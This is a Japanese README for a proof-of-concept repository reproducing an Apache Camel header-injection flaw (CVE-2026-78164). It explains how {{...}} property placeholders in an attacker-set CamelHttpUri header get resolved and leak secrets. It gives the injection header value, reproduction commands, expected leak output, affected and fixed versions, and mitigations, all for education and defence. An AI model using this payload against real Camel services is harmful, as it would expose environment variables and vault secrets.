
Apache Camelの脆弱性に対する実行可能な概念実証(PoC)再現ツールです。この脆弱性では、HTTPプロデューサーファミリーが受信メッセージによるCamelHttpUriおよびCamelRestHttpUriヘッダーを介したエンドポイントURIの上書きを許し、その後、使用前にそのメッセージ提供の文字列をCamelContext.resolvePropertyPlaceholders()に通していました。
プロパティプレースホルダーの解決は設定解決機能であり、URI解析ステップではありません。これはオペレーティングシステムの環境変数、JVMシステムプロパティ、クラスパス上のすべてのPropertiesFunction(AWS、Azure、GCP、HashiCorp、IBM、CyberArk、Kubernetesのシークレット関数を含む)に到達し、さらにcamel-beanを介してレジストリ内の任意のBeanの引数なしメソッドの呼び出しにも到達します。これを攻撃者が影響を与えられるExchangeコンテンツに適用すると、URI文字列が設定およびBean評価のコンテキストに変わってしまいます。ルート作成者はこれのいずれにもオプトインしていませんでした。単純な静的to("http://backend/api")で十分でした。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0(影響あり、修正版 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0(Camel 4.15.0、影響あり) |
この動作は4.x系より前から存在しており(camel-http4 / camel-netty4に遡ります)、影響を受けるすべてのリリースと、最新のCamel Quarkusに含まれるCamel 4.15.0が脆弱です。修正はCamel 4.18.5 / 4.22.1 / 4.23.0で提供されます。Spring Bootモジュールは影響を受けるビルド(4.22.0)と修正済みビルド(4.22.1)の両方を実行します。修正済みCamelをバンドルしたCamel Quarkusはまだリリースされていません。
ルートはローカルコレクターを指す単純な静的to("http://127.0.0.1:9100/collect")です。攻撃者はCamelHttpUriヘッダーにプロパティプレースホルダートークンを含むURIを設定します — シークレットの値を知ることなく、キー名を指定するだけです:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
アプリは、任意の設定値や Vault シークレットの代わりとして JVM システムプロパティ cve78164.secret をシードします。影響を受けるビルドでは、プロデューサーがリクエストを送信する前にプレースホルダーを解決するため、コレクターは送信クエリ内にシークレットを確認できます。修正済みビルドでは、トークンはそのまま転送されます。
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
影響を受けたビルドで期待される出力:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
修正済みビルドでは、コレクターが代わりに GET /collect?leak={{sys:cve78164.secret}}(解決されず、リテラルのまま)を観測します。
| 項目 | 値 |
|---|---|
| コンポーネント | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336(テンプレートエンジンで使用される特殊要素の中和不備)、CWE-200(情報漏えい) |
| 深刻度 | HIGH |
| 攻撃ベクトル | {{...}} トークンを含む CamelHttpUri / CamelRestHttpUri 上書きヘッダー。ボディ/ヘッダーは bridgeEndpoint によって制限されず、複数のコンシューマーがリバースプロキシ機能としてリクエストラインから CamelHttpUri を設定する |
| 影響 | 環境変数、システムプロパティ、vault のシークレットが送信リクエストに展開される。レジストリ Bean の引数なし呼び出し。エコーされたエラーを通じた設定キーの set/unset オラクル |
| 影響を受けるバージョン | 4.0.0 から 4.18.5 未満、4.19.0 から 4.22.1 未満(この挙動は 4.x より前から存在) |
| 修正済みバージョン | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24418 |
| クレジット | [email protected] |
アドバイザリ: https://camel.apache.org/security/CVE-2026-78164.html
影響を受けるすべての箇所で、メッセージごとの resolvePropertyPlaceholders() 呼び出しが削除されたため、CamelHttpUri または CamelRestHttpUri にのみ現れる {{...}} トークンは、URI のリテラルな一部として扱われるようになりました。ルート自身のエンドポイント URI 内のプレースホルダーは影響を受けません。これらはエンドポイント作成時のビルド時に一度だけ解決されます。
プロデューサーの前の信頼境界で、removeHeader("CamelHttpUri") と removeHeader("CamelRestHttpUri") を使って上書きヘッダーを除去するか、camel-http エンドポイントで skipControlHeaders=true を設定してください(このオプションを提供する唯一のコンポーネントです)。bridgeEndpoint=true は回避策ではありません。信頼できない送信元に公開されているコンシューマーには、厳格な受信 HeaderFilterStrategy を適用し、シークレットはプレースホルダーが指定できる環境変数やシステムプロパティではなく、vault を通じて解決してください。
このリポジトリは教育および防御目的で公開されています。Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを検証できるようにするためです。「シークレット」は無害なローカルフィクスチャです。所有または運用していないシステムに対してこの資料を使用しないでください。